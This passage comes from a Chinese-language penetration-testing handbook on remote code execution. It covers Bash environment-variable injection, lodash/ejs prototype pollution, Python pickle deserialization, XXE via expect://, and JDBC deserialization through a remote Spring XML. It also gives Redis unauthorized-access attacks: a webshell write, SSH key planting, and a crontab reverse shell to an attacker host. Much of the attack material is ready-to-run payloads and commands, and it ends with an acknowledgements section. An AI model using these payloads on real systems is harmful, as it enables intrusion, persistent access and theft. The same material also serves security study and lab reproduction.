    Bash 4.4及以上:env $'BASH_FUNC_echo%%=() { id; }' bash -c 'echo hello'

    BASH_ENV:可以在bash -c的时候注入任意命令

    ENV:可以在sh -i -c的时候注入任意命令PS1:可以在sh或bash交互式环境下执行任意命令PROMPT_COMMAND:可以在bash交互式环境下执行任意命令

    BASH_FUNC_xxx%%:可以在bash -c或sh -c的时候执行任意命令


3.6 (Javascript)原型链污染RCE

    在 JavaScript 中,每个对象都有一个原型(prototype),原型是对象的属性和方法的集合。当试图访问一个对象的属性或方法时,如果对象本身没有这个属性或方法,JavaScript 引擎会在对象的原型链上查找。原型链是一系列对象的链式结构,当一个对象无法找到所需的属性或方法时,它会沿着原型链向上查找,直到找到为止。 

    原型链污染漏洞(Prototype Pollution Vulnerability)通常发生在开发者未正确验证用户输入时,将恶意数据注入到 JavaScript 对象的原型链上。攻击者可以利用这种漏洞来修改全局对象的属性或方法,最后导致恶意漏洞。

    安装所需环境(因为这几个版本存在漏洞,不加—no-audit是下载不了的)

Npm install express –no-auditNpm install lodash@4.17.4 –no-auditNpm install ejs@3.1.6 –no-audit

    简单讲下Prototype(原型)和Proto (__proto__)用法

    1. 构造函数的 prototype 属性:每个 JavaScript 函数都有一个 prototype 属性,它是一个指向原型对象的指针。通过给这个 prototype 对象添加属性和方法,可以实现在该构造函数创建的对象之间共享属性和方法。

    2 __proto__ 属性:__proto__ 是每个对象都有的一个属性,它指向该对象的原型。 

    var obj1 = {};var obj2 = {};obj2.__proto__ = obj1; // 现在 obj2 的原型是 obj1 

    生成案例代码

    简单解析一下

    outputFunctionName 是在这个__proto__这个特殊属性所指向的原型对象上自定义的属性。

    global 是 Node.js 中全局对象,类似于浏览器中的 window 对象。process 是 Node.js 中用于控制当前进程的对象。mainModule 是 process 对象的一个属性,它指向主模块,即启动应用程序的脚本文件。require('child_process') 就是老熟人了,用来执行具体命令的模块

    访问站点即可成功RCE

   前期污染使用的是

lodash.merge({}, JSON.parse(malicious_payload));

 篇幅原因我这里就只跟进RCE了,最后漏洞点是在node_modules\lodash\_baseAssignValue.js中,感兴趣的可以自己在lodash.merge中打上断点

    代码分析

    跟进render

    进入render函数中,跟进最后一行tryRender

    继续跟进view.render

    此时跟进ejs.js中的renderFile,在最后一行跟进tryHandleCache

    进入后再272行继续跟进handleCache,此时的data和options都有我们的payload

    跟进compile函数,然后会new一个Template类


 此时将之前所有的opt参数赋值给options

    退出Template类,回到compile函数中

    此时将opts.outputFunctionName的值给prepended加上

    此时的prepended值为

" var __output = \"\";\n  function __append(s) { if (s !== undefined && s !== null) __output += s }\n  var _tmp1;global.process.mainModule.require('child_process').exec('calc');var __tmp2 = __append;\n  with (locals || {}) {\n"

    此时给fn赋值,进入一个新的new ctor类中

    而此时会生成一个临时文件,其中第九行就是我们要执行的代码

    退出来后进入判断,如果 opts.client 存在且为真,则 returnedFn 被赋值为 fn 函数;否则,它被赋值为一个接受 data 参数的匿名函数,而这个annoymous函数就是我们刚刚存在恶意payload的函数


    最后进入apply执行

    成功执行我们的命令


3.7 (Python)反序列化导致RCE

    正常来说反序列化导致RCE应该放在3.6的,但python独特的语言设计导致它不用像常规的反序列化一样找利用链,所以这边单独讲解下。

    Python中反序列化用的是pickle模块

    一个很简单的例子,使用这段代码生成payload

import pickle class rcetest():      def __reduce__(self):            return (__import__('os').system, ("whoami",)) rce = rcetest()print(pickle.dumps(rce))

    pickle序列化默认是3号协议,但可读性没有0号强

    先看下序列化的方式,源码下载

https://www.python.org/ftp/python/3.7.0/Python-3.7.0.tar.xz

    对于生成的payload,在pickle.py和pickletools.py中有详细解释



    而本章主要还是看反序列化

    用pickle.loads进行反序列化,可以看到即使没有__reduce__依旧可以成功RCE

import pickleclass rcetest():    def __init__(self):              self.test = test rcetest = pickle.loads(b'\x80\x03cnt\nsystem\nq\x00X\x06\x00\x00\x00whoamiq\x01\x85q\x02Rq\x03.')

    读取源码

    进入定义的load函数中

    其中opcode就是刚刚看到的,根据opcode来进行操作

    Reduce使用的是load_reduce,跟进该函数

    Load_reduce从堆栈中弹出一个可调用对象和一个参数元组,然后调用该可调用对象,并将结果压入堆栈中

    跟进逻辑后定位参数PyEval_CallObjectWithKeywords,根据参数 args 是否为 NULL,选择使用 _PyObject_FastCallDict 函数(如果没有位置参数)或 PyObject_Call 函数(如果有位置参数)来调用可调用对象,并返回调用结果。


3.8 (XML) XXE注入导致RCE

    XXE(XML 外部实体注入)漏洞,可以使攻击者能够干扰 Web 应用程序中 XML 数据的处理。利用此漏洞后,XXE 可允许攻击者访问敏感数据、执行远程代码或干扰 Web 应用程序中 XML 数据的处理。

    先用php进行简单的案例示范

    可以看到访问成功的输出1.txt文件

    利用expect协议可以成功打rce,但因为windows不好安装扩展所以改用centos做测试

    以下是环境配置教程

    安装EPEL仓库

sudo yum install epel-release

    使用以下命令安装php开发工具和expect

sudo yum install php-devel expect


sudo yum install tcl-develsudo yum install expect-devel


    然后安装pecl

sudo yum install php-pear

    最后使用pecl进行安装expect

    出现下面的消息说明安装成功

    然后开始进行配置

Vim /etc/php.ini

    加一行

Extension=expect.so

    然后进行RCE复现

<?xml version="1.0"?><!DOCTYPE ANY [<!ENTITY xxe SYSTEM "expect://id" >]><x>&xxe;</x>

    那么为何能执行命令呢,我们下载下来源码进行分析

https://pecl.php.net/get/expect-0.4.0.tgz

    在expect_fopen_wrapper.c文件中

    35行开始,首先检查命令字符串是否以"expect://"开头,如果是,则移除这个前缀,然后使用exp_popen函数尝试启动命令指定的外部进程

    而在expect库中

https://core.tcl-lang.org/expect/index

    exp_clib.c文件中定义了exp_popen

    跟进exp_spawnl,初始化后使用malloc为参数组”argv”分配内存,然后调用exp_spawnv

    继续跟进

    file是要执行的程序的路径,argv是传递给该程序的参数列表,以NULL终止。然后初始化伪终端(pty)

    往下走,发现在1909中使用fork创建了子进程

    那么最终执行点在哪呢?在2217中使用execvp执行命令,其中file与argv都是我们传的参数,至此流程结束

3.9 (JAVA) JDBC反序列化导致RCE

    JDBC(Java Database Connectivity)反序列化漏洞是指在Java应用程序中使用JDBC时,由于未正确验证或过滤用户输入的数据,导致攻击者可以通过构造恶意的序列化对象,实现远程代码执行的漏洞。

3.9.1 Mysql JDBC

  mysql中提供了queryInterceptors,可以在SQL查询前后做一些预处理。而ServerStatusDiffInterceptor是queryInterceptors的一个实现。其preProcess预处理时会执行Show SESSION STATUS语句并调用Util.resultSetToMap将执行结果转换为Map。

    resultSetToMap中调用ResultSet#getObject获取对象闭并put到mappedValues中。

    ResultSet#getObject中存储的是Blob类型且AutoDeserialize属性为true,则会获取对应列存储的内容并调用readObject触发原生JAVA反序列化漏洞。

    而在设置mysql jdbc连接字符串时,可以通过如下方式设置拦截器并且设置autoDeserialize的属性。

queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true

    因此只要能控制mysql连接字符串,可以让目标在连接我们控制的恶意mysql服务器并执行SHOW SESSION STATUS语句时返回构造好的序列化对象即可触发反序列化漏洞。

    漏洞复现

    首先需要构造一个恶意的mysql服务端,这里选用MySQL_Fake_Server来实现。

    客户端通过控制mysql jdbcurl访问恶意服务端触发RCE。

3.9.2 Postgresql JDBC

    SocketFactoryFactory是 PostgreSQL JDBC 驱动程序中的一个重要组件,用于管理和提供适当的 Socket 工厂实例,以便应用程序能够与 PostgreSQL 数据库进行有效的通信。

  getSocketFactory方法中,会从Properties中获取socketFactoryClassName和socketFactoryArg,并调用ObjectFactory#instantiate方法。

   在ObjectFactory#instantiate中根据传入的socketFactoryClassName创建class并获取socketFactoryArg为参数创建一个对象。这里并没有对class名称做限制,因此可以调用任意类的只有一个string类型的构造方法。

    很容易想到org.springframework.context.support.ClassPathXmlApplicationContext的构造方法可以加载远程XML实现RCE。

    所以只要能控制properties中属性即可实现RCE,在PostgreSQL中也可以通过控制jdbc连接字符串来实现属性的赋值,因此可以如下方式控制属性实现rce。

socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://192.168.93.111:8080/bean.xml

    漏洞复现

    首先构造漏洞利用的xml文件放到服务器中并开启http服务。

<beans xmlns="http://www.springframework.org/schema/beans"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xmlns:p="http://www.springframework.org/schema/p"xsi:schemaLocation="http://www.springframework.org/schema/beanshttp://www.springframework.org/schema/beans/spring-beans.xsd"><!-- 普通方式创建类--><bean id="exec" class="java.lang.ProcessBuilder" init-method="start"><constructor-arg><list><value>cmd</value><value>/c</value><value>calc.exe</value></list></constructor-arg></bean></beans>

    通过控制jdbc连接字符串加载远程XML实现RCE。


4

04

特殊情况下的RCE

    本模块为实战渗透中,部分服务器,程序默认配置不当或软件本身设计造成RCE

4.1 redis未授权rce

    Redis是一个开源的(BSD许可)内存中数据结构存储系统,它可以用作数据库、缓存和消息代理。Redis支持多种类型的数据结构,如字符串(strings)、哈希表(hashes)、列表(lists)、集合(sets)、有序集合(sorted sets)以及范围查询、位图、超日志和地理空间索引半径查询。由于其极高的性能,Redis常被用于需要快速响应的场景,比如网站的会话缓存(session caching)、实时应用程序、排行榜、发布/订阅系统等。

    官方安装教程

https://redis.com.cn/redis-installation.html


    Redis rce有几个前置条件

    1 无密码或弱密码

    2 可以进行连接

    3 连接后有足够的权限执行我们所需的命令

4.1.1 redisRCE (WINDOWS)

    windows下有两种方式rce

    1 在知道网站绝对路径的情况下写入webshell

    2 写入自启动,直接进行反弹shell

    先复现第一种

Redis-server.exe redis.windows.conf 

    启动redis服务

    Redis-cli.exe -h 目标ip -p 目标端口

    1 config set dir 目标站点路径

    2 config set dbfilename webshell文件名

    3 set test “恶意代码内容”

    4 save

    可以发现成功在目标的web目录下写入了webshell

    第二种直接进行反弹shell

    1 Config set dir 目标自启动文件夹

    (ps: 自启动文件夹大部分是以下路径

    "C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/startup/")

    2 Config set dbfilename 文件名

    3 Set test1 “\r\n\r\n恶意代码\r\n\r\n” (ps:可以看出redis在写入目标文件时会有些许乱码,所以需要换行符将我们需要执行的代码单独写一行)

    4 Save

    然后当目标主机重启后即可执行.bat文件(这里为了演示直接双击了.bat文件)

4.1.2 redisRCE(LINUX)

    安装过程

wget http://download.redis.io/releases/redis-3.2.9.tar.gz2 tar -zxvf redis-3.2.9.tar.gz3 mv redis-3.2.9 /usr/local/redis4 cd /usr/local/redismake MALLOC=libcmake & make install

    然后配置一下redis.conf文件

    vim redis.conf

    bind 127.0.0.1注释掉

    然后将protected-mode设置为no

    如果跟我一样是centos的话,且想让内网其他主机也能访问到redis服务,需要输入以下两个命令配置防火墙

sudo firewall-cmd --zone=public --add-port=6379/tcp --permanentsudo firewall-cmd --reload

    输入redis-server redis.conf运行

    1 webshell 这种方式与windows一样,这里不做演示

    2 写入ssh秘钥

    Redis服务 192.168.50.238 centos

    攻击机 192.168.50.36 kali

    攻击机生成sshkey

    Ssh-keygen -t rsa

(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > test.txt

    将公钥写入文件

    redis服务机需要本地 ssh localhost一下才能利用

cat test.txt | redis-cli -h 192.168.50.238 -x set test 将公钥写入目标缓冲区config set dir /root/.ssh 选择目标文件夹地址config set dbfilename “authorized_keys” 目标文件名keys *get test 获取键值save 保存exit

    退出后即可使用ssh直接连接目标了

    3 定时任务

    先是攻击机kali 192.168.50.36开启nc监听

nc -lvnp 7777

    然后连接redis后依次输入以下命令

set test1 "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.50.36/7777 0>&1\n\n"config set dir /var/spool/cronconfig set dbfilename rootsave

    save后即可成功rce

    4 主从复制

    主从复制需要重新配下环境,这里选用docker

sudo systemctl start dockerDocker pull damonevking/redis5.0docker run -p 6379:6379 -d damonevking/redis5.0 redis-server


    利用过程

    使用这位师傅的脚本

https://github.com/n0b0dyCN/redis-rogue-server

    输入以下命令获取压缩包

wget https://codeload.github.com/n0b0dyCN/redis-rogue-server/zip/refs/heads/master

    解压缩后执行下面命令

./redis-rogue-server.py --rhost redis服务地址 --lhost 本机地址



后记及致谢

    说实话,22年发表完RCE宝典第一版后,没想到有这么多师傅是愿意看的,本身只是本人的一个笔记,写的十分随心。而这篇文章,能帮到一些初学的小白,一些有基础的学生,真是让我感到意外之喜。初有写RCE宝典这个想法,是因为在学习过程中对于不同的RCE的复现,利用,分析需要一一对应着搜,我是一个很怕麻烦的人,于是便想将所有能实现RCE漏洞的方式整合到一起,以便以后进行查找。

    23年疲于学业与大小琐事,没有在安全上花很大的心思,所以也没有写文的动力,公众号除了广告一年才写了5篇文章。而趁着今年较有闲时我决心复写本文,意在更全面,更细节。我希望这不仅仅是个人的笔记,而是在以后有跟我一样初入门的小白,可以不用费力去一个个查找文章。

    我现在也仅仅只是一个正在学习的学生,没有太强的专业知识,没有过高的成就,所以在以后源源不断的学习下,RCE宝典的知识及模块也会慢慢扩充。在阅读本文时,如果你发现某个漏洞复现分析,或者对于某个漏洞很不理解,不是你的问题,是因为本人心余力绌,真正的专家和高手写的一定是深入浅出且通俗易懂的,所以如果有好的案例或者对本文的补充与修改,非常欢迎各位师傅联系我来提建议

    非常感谢家人对我的支持,也非常感谢安全圈各位师傅在网上写的文章,无私分享的各种知识,这对本文有极大地推动。我本人才疏学浅,不太懂JAVA也不太懂PWN,鉴于此,不敢随意提笔怕误人子弟,所以文中较难较复杂的JAVA知识点,如反序列化,JDBC,JNDI等由藏青师傅代笔完成,缓冲区溢出RCE由白袍师傅代笔完成。而其他较为复杂的知识点和一些普通的JAVA知识点也是在每次写完后都请教wkong师傅和4ra1n师傅,非常感谢两位师傅的大力支持,在我写文时基本上是隔三差五被我骚扰一顿。很多当时问的问题,写完回头一看,发现跟傻子问的差不多,但两位师傅都非常的耐心的解答我的问题,真的让我感激不尽。

    除此之外,还有那些在我编写本文时伸出援手的师傅们,包括孙爱民猫茜茜你们提供的各种帮助,都是我撰写这篇文章的不可或缺的一部分,在此对你们致以最深切的谢意!


宣传页

ZAC安全

本人微信:zacaq999 
文章内容如有任何错误或者对不上号的,可以加我微信,感谢各位大佬们的指点

安全宝典欢迎各位大佬以投稿方式免费进入!




嗨嗨安全
提供网络安全资料与工具,分享攻防实战经验和思路。
 最新文章